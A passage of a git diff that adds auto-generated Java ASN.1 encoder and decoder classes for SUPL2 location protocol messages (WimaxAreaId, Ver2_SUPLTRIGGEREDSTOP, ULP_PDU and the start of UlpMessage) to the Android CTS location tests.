+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("WLANAreaId = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/WimaxAreaId.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/WimaxAreaId.java
new file mode 100755
index 0000000..d6b3e1c
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/WimaxAreaId.java
@@ -0,0 +1,449 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_triggered_start;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1BitString;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class WimaxAreaId extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_WimaxAreaId
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public WimaxAreaId() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_WimaxAreaId;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_WimaxAreaId != null) {
+ return ImmutableList.of(TAG_WimaxAreaId);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new WimaxAreaId from encoded stream.
+ */
+ public static WimaxAreaId fromPerUnaligned(byte[] encodedBytes) {
+ WimaxAreaId result = new WimaxAreaId();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new WimaxAreaId from encoded stream.
+ */
+ public static WimaxAreaId fromPerAligned(byte[] encodedBytes) {
+ WimaxAreaId result = new WimaxAreaId();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private WimaxAreaId.bsID_MSBType bsID_MSB_;
+ public WimaxAreaId.bsID_MSBType getBsID_MSB() {
+ return bsID_MSB_;
+ }
+ /**
+ * @throws ClassCastException if value is not a WimaxAreaId.bsID_MSBType
+ */
+ public void setBsID_MSB(Asn1Object value) {
+ this.bsID_MSB_ = (WimaxAreaId.bsID_MSBType) value;
+ }
+ public WimaxAreaId.bsID_MSBType setBsID_MSBToNewInstance() {
+ bsID_MSB_ = new WimaxAreaId.bsID_MSBType();
+ return bsID_MSB_;
+ }
+
+ private WimaxAreaId.bsID_LSBType bsID_LSB_;
+ public WimaxAreaId.bsID_LSBType getBsID_LSB() {
+ return bsID_LSB_;
+ }
+ /**
+ * @throws ClassCastException if value is not a WimaxAreaId.bsID_LSBType
+ */
+ public void setBsID_LSB(Asn1Object value) {
+ this.bsID_LSB_ = (WimaxAreaId.bsID_LSBType) value;
+ }
+ public WimaxAreaId.bsID_LSBType setBsID_LSBToNewInstance() {
+ bsID_LSB_ = new WimaxAreaId.bsID_LSBType();
+ return bsID_LSB_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getBsID_MSB() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBsID_MSB();
+ }
+
+ @Override public void setToNewInstance() {
+ setBsID_MSBToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? WimaxAreaId.bsID_MSBType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "bsID_MSB : "
+ + getBsID_MSB().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getBsID_LSB() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBsID_LSB();
+ }
+
+ @Override public void setToNewInstance() {
+ setBsID_LSBToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? WimaxAreaId.bsID_LSBType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "bsID_LSB : "
+ + getBsID_LSB().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class bsID_MSBType extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_bsID_MSBType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public bsID_MSBType() {
+ super();
+ setMinSize(24);
+setMaxSize(24);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_bsID_MSBType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_bsID_MSBType != null) {
+ return ImmutableList.of(TAG_bsID_MSBType);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new bsID_MSBType from encoded stream.
+ */
+ public static bsID_MSBType fromPerUnaligned(byte[] encodedBytes) {
+ bsID_MSBType result = new bsID_MSBType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new bsID_MSBType from encoded stream.
+ */
+ public static bsID_MSBType fromPerAligned(byte[] encodedBytes) {
+ bsID_MSBType result = new bsID_MSBType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "bsID_MSBType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class bsID_LSBType extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_bsID_LSBType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public bsID_LSBType() {
+ super();
+ setMinSize(24);
+setMaxSize(24);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_bsID_LSBType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_bsID_LSBType != null) {
+ return ImmutableList.of(TAG_bsID_LSBType);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new bsID_LSBType from encoded stream.
+ */
+ public static bsID_LSBType fromPerUnaligned(byte[] encodedBytes) {
+ bsID_LSBType result = new bsID_LSBType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new bsID_LSBType from encoded stream.
+ */
+ public static bsID_LSBType fromPerAligned(byte[] encodedBytes) {
+ bsID_LSBType result = new bsID_LSBType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "bsID_LSBType = " + getValue() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("WimaxAreaId = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_stop/Ver2_SUPLTRIGGEREDSTOP.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_stop/Ver2_SUPLTRIGGEREDSTOP.java
new file mode 100755
index 0000000..0001069
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_stop/Ver2_SUPLTRIGGEREDSTOP.java
@@ -0,0 +1,225 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_triggered_stop;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import android.location.cts.asn1.supl2.ulp_components.StatusCode;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class Ver2_SUPLTRIGGEREDSTOP extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_Ver2_SUPLTRIGGEREDSTOP
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public Ver2_SUPLTRIGGEREDSTOP() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_Ver2_SUPLTRIGGEREDSTOP;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_Ver2_SUPLTRIGGEREDSTOP != null) {
+ return ImmutableList.of(TAG_Ver2_SUPLTRIGGEREDSTOP);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new Ver2_SUPLTRIGGEREDSTOP from encoded stream.
+ */
+ public static Ver2_SUPLTRIGGEREDSTOP fromPerUnaligned(byte[] encodedBytes) {
+ Ver2_SUPLTRIGGEREDSTOP result = new Ver2_SUPLTRIGGEREDSTOP();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new Ver2_SUPLTRIGGEREDSTOP from encoded stream.
+ */
+ public static Ver2_SUPLTRIGGEREDSTOP fromPerAligned(byte[] encodedBytes) {
+ Ver2_SUPLTRIGGEREDSTOP result = new Ver2_SUPLTRIGGEREDSTOP();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private StatusCode statusCode_;
+ public StatusCode getStatusCode() {
+ return statusCode_;
+ }
+ /**
+ * @throws ClassCastException if value is not a StatusCode
+ */
+ public void setStatusCode(Asn1Object value) {
+ this.statusCode_ = (StatusCode) value;
+ }
+ public StatusCode setStatusCodeToNewInstance() {
+ statusCode_ = new StatusCode();
+ return statusCode_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getStatusCode() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getStatusCode();
+ }
+
+ @Override public void setToNewInstance() {
+ setStatusCodeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? StatusCode.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "statusCode : "
+ + getStatusCode().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("Ver2_SUPLTRIGGEREDSTOP = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp/ULP_PDU.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp/ULP_PDU.java
new file mode 100755
index 0000000..5beb93d
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp/ULP_PDU.java
@@ -0,0 +1,488 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import android.location.cts.asn1.supl2.ulp_components.SessionID;
+import android.location.cts.asn1.supl2.ulp_components.Version;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class ULP_PDU extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_ULP_PDU
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ULP_PDU() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ULP_PDU;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ULP_PDU != null) {
+ return ImmutableList.of(TAG_ULP_PDU);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ULP_PDU from encoded stream.
+ */
+ public static ULP_PDU fromPerUnaligned(byte[] encodedBytes) {
+ ULP_PDU result = new ULP_PDU();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ULP_PDU from encoded stream.
+ */
+ public static ULP_PDU fromPerAligned(byte[] encodedBytes) {
+ ULP_PDU result = new ULP_PDU();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private ULP_PDU.lengthType length_;
+ public ULP_PDU.lengthType getLength() {
+ return length_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ULP_PDU.lengthType
+ */
+ public void setLength(Asn1Object value) {
+ this.length_ = (ULP_PDU.lengthType) value;
+ }
+ public ULP_PDU.lengthType setLengthToNewInstance() {
+ length_ = new ULP_PDU.lengthType();
+ return length_;
+ }
+
+ private Version version_;
+ public Version getVersion() {
+ return version_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Version
+ */
+ public void setVersion(Asn1Object value) {
+ this.version_ = (Version) value;
+ }
+ public Version setVersionToNewInstance() {
+ version_ = new Version();
+ return version_;
+ }
+
+ private SessionID sessionID_;
+ public SessionID getSessionID() {
+ return sessionID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SessionID
+ */
+ public void setSessionID(Asn1Object value) {
+ this.sessionID_ = (SessionID) value;
+ }
+ public SessionID setSessionIDToNewInstance() {
+ sessionID_ = new SessionID();
+ return sessionID_;
+ }
+
+ private UlpMessage message_;
+ public UlpMessage getMessage() {
+ return message_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UlpMessage
+ */
+ public void setMessage(Asn1Object value) {
+ this.message_ = (UlpMessage) value;
+ }
+ public UlpMessage setMessageToNewInstance() {
+ message_ = new UlpMessage();
+ return message_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getLength() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getLength();
+ }
+
+ @Override public void setToNewInstance() {
+ setLengthToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ULP_PDU.lengthType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "length : "
+ + getLength().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getVersion() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getVersion();
+ }
+
+ @Override public void setToNewInstance() {
+ setVersionToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Version.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "version : "
+ + getVersion().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getSessionID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSessionID();
+ }
+
+ @Override public void setToNewInstance() {
+ setSessionIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SessionID.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "sessionID : "
+ + getSessionID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getMessage() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMessage();
+ }
+
+ @Override public void setToNewInstance() {
+ setMessageToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UlpMessage.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "message : "
+ + getMessage().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class lengthType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_lengthType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public lengthType() {
+ super();
+ setValueRange("0", "65535");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_lengthType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_lengthType != null) {
+ return ImmutableList.of(TAG_lengthType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new lengthType from encoded stream.
+ */
+ public static lengthType fromPerUnaligned(byte[] encodedBytes) {
+ lengthType result = new lengthType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new lengthType from encoded stream.
+ */
+ public static lengthType fromPerAligned(byte[] encodedBytes) {
+ lengthType result = new lengthType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "lengthType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("ULP_PDU = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp/UlpMessage.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp/UlpMessage.java
new file mode 100755
index 0000000..def2489
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp/UlpMessage.java
@@ -0,0 +1,949 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Choice;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.ChoiceComponent;
